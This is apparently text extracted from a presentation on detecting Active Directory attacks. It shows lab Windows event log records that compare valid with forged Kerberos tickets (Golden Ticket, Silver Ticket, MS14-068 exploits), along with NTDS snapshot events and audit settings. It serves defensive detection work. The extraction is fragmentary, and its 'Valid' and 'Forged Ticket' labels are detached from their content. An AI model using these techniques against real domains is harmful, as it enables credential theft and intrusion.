</tbody>
</table>

| Privileges: | SeSecurityPrivilege |
|            | SeBackupPrivilege  |
|            | SeRestorePrivilege |
|            | SeTakeOwnershipPrivilege |
|            | SeDebugPrivilege   |
|            | SeSystemEnvironmentPrivilege |
|            | SeLoadDriverPrivilege |
|            | SeImpersonatePrivilege |
|            | SeEnableDelegationPrivilege |

Valid

Forged Ticket
Golden Ticket Event 4672: Fictional Admin Spoofing

<table>
<thead>
<tr>
<th>Subject</th>
<th>Security ID: ADSECLAB\LukeSkywalker</th>
<th>Account Name: LukeSkywalker</th>
<th>Account Domain: ADSECLAB</th>
<th>Logon ID: 0x3a6678</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileges:</td>
<td>SeSecurityPrivilege</td>
<td>SeBackupPrivilege</td>
<td>SeRestorePrivilege</td>
<td>SeTakeOwnershipPrivilege</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Subject</th>
<th>Security ID: ADSECLAB\LukeSkywalker</th>
<th>Account Name: DarthVader</th>
<th>Account Domain:</th>
<th>Logon ID: 0x7CA83</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileges:</td>
<td>SeSecurityPrivilege</td>
<td>SeBackupPrivilege</td>
<td>SeRestorePrivilege</td>
<td>SeTakeOwnershipPrivilege</td>
</tr>
</tbody>
</table>
Golden Ticket Use: KRBTGT password changed 2x
MS14-068 PyKEK Exploit Ticket Event 4624

An account was successfully logged on.

Subject:
- Security ID: NULL SID
- Account Name: -
- Account Domain: -
- Logon ID: 0x0

Logon Type: 3

New Logon:
- Security ID: ADSECLAB\LukeSkywalker
- Account Name: LukeSkywalker
- Account Domain: ADSECLAB
- Logon ID: 0x3a668d
- Logon GUID: {df5c4cce-5d32-9997-8bff-484038005d1b}

Process Information:
- Process ID: 0x0
- Process Name: -

Network Information:
- Workstation Name: -
- Source Network Address: 172.16.11.202
- Source Port: 49881

Valid

Forged Ticket
MS14-068 Kekeo Exploit Ticket Event 4672

Valid

Forged Ticket
MS14-068 Exploit Event on Patched DC
Other Interesting Events
VSS Volume Backup Events

Event Properties - Event 7036, Service Control Manager

The Volume Shadow Copy service entered the running state.

Log Name: System  Source: Service Control Manager  Event ID: 7036  Level: Information  User: N/A  OpCode: Info  
More Information: Event Log Online Help

Event Properties - Event 20001, UserPnp

Driver Management concluded the process to install driver FileRepository\volsnap.inf_amd64_neutral_7499a4fac85b39fc\volsnap.inf for Device Instance ID STORAGE\VOLUMESNAPSHOT\HARDDISKVOLUMESNAPSHOT2 with the following status: 0x0.

More Information: Event Log Online Help
NTDSUtil AD Database Snapshot Events

Event 325, ESENT

**NTDS (2396)** The database engine created a new database (2, c:\temp\Active Directory\ntds.dit). (Time=0 seconds)

Log Name: Application
Source: ESENT
Event ID: 325
Level: Information
User: N/A
OpCode: N/A
More Information: Event Log Online Help

Event 326, ESENT

**NTDS (2396)** The database engine attached a database (1, C:\SSNAP_201503242333_VOLUMEC5\Windows\NTDS\ntds.dit). (Time=0 seconds)
Saved Cache: 10

Log Name: Application
Source: ESENT
Event ID: 326
Level: Information
User: N/A
OpCode: N/A
Logged: 3/24/2015 11:33:10 PM
Task Category: General
Keywords: Classic
Computer: AD5DC05.lab.adsecurity.org
Active Directory Attack Mitigation: Protecting Admin Credentials

• Admin & special accounts: Don’t allow delegation.
PowerShell Module Logging GPO
## My Lab Event Logging Config

<table>
<thead>
<tr>
<th>Policy</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Audit account logon events</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit account management</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit directory service access</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit logon events</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit privilege use</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit process tracking</td>
<td>Success, Failure</td>
</tr>
</tbody>
</table>
Silver Ticket Event 4672: Admin Logon

Valid

Forged Ticket
Valid

Forged Ticket
**MS14-068 PyKEK Exploit Ticket Event 4672**

<table>
<thead>
<tr>
<th>Subject</th>
<th>Security ID:</th>
<th>ADSECLAB\LukeSkywalker</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Name:</td>
<td>LukeSkywalker</td>
<td></td>
</tr>
<tr>
<td>Account Domain:</td>
<td>ADSECLAB</td>
<td></td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x3a6678</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Privileges</th>
<th>SeSecurityPrivilege</th>
</tr>
</thead>
<tbody>
<tr>
<td>SeBackupPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeRestorePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeTakeOwnershipPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeSystemEnvironmentPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeLoadDriverPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeImpersonatePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeEnableDelegationPrivilege</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Subject</th>
<th>Security ID:</th>
<th>ADSECLAB\LukeSkywalker</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Name:</td>
<td>JoeUser</td>
<td></td>
</tr>
<tr>
<td>Account Domain:</td>
<td>LAB.ADSECURITY.ORG</td>
<td></td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x48b9d9</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Privileges</th>
<th>SeSecurityPrivilege</th>
</tr>
</thead>
<tbody>
<tr>
<td>SeBackupPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeRestorePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeTakeOwnershipPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeSystemEnvironmentPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeLoadDriverPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeImpersonatePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeEnableDelegationPrivilege</td>
<td></td>
</tr>
</tbody>
</table>

Valid

Forged Ticket
MS14-068 PyKEK Exploit Ticket Event 4768

A Kerberos authentication ticket (TGT) was requested.

Account Information:
Account Name: JoeUser
Supplied Realm Name: ADSECLAB
User ID: ADSECLAB\JoeUser

Service Information:
Service Name: krbtgt
Service ID: ADSECLAB\krbtgt

Network Information:
Client Address: ::ffff:172.16.11.202
Client Port: 49175

Additional Information:
Ticket Options: 0x40810010
Result Code: 0x0
Ticket Encryption Type: 0x12
Pre-Authentication Type: 2

Certificate Information:
Certificate Issuer Name:
Certificate Serial Number:
Certificate Thumbprint:

Valid

Forged Ticket
MS14-068 Delpy Exploit Ticket Event 4768

A Kerberos authentication ticket (TGT) was requested.

Account Information:
- Account Name: JoeUser
- Supplied Realm Name: ADSECLAB
- User ID: ADSECLAB\JoeUser

Service Information:
- Service Name: krbtgt
- Service ID: ADSECLAB\krbtgt

Network Information:
- Client Address: ::ffff:172.16.11.202
- Client Port: 49175

Additional Information:
- Ticket Options: 0x40810010
- Result Code: 0x0
- Ticket Encryption Type: 0x12
- Pre-Authentication Type: 2

Valid

A Kerberos authentication ticket (TGT) was requested.

Account Information:
- Account Name: JoeUser
- Supplied Realm Name: lab.adsecurity.org
- User ID: ADSECLAB\JoeUser

Service Information:
- Service Name: krbtgt
- Service ID: ADSECLAB\krbtgt

Network Information:
- Client Address: ::ffff:172.16.11.202
- Client Port: 50176

Additional Information:
- Ticket Options: 0x40800010
- Result Code: 0x0
- Ticket Encryption Type: 0x17
- Pre-Authentication Type: 2

Forged Ticket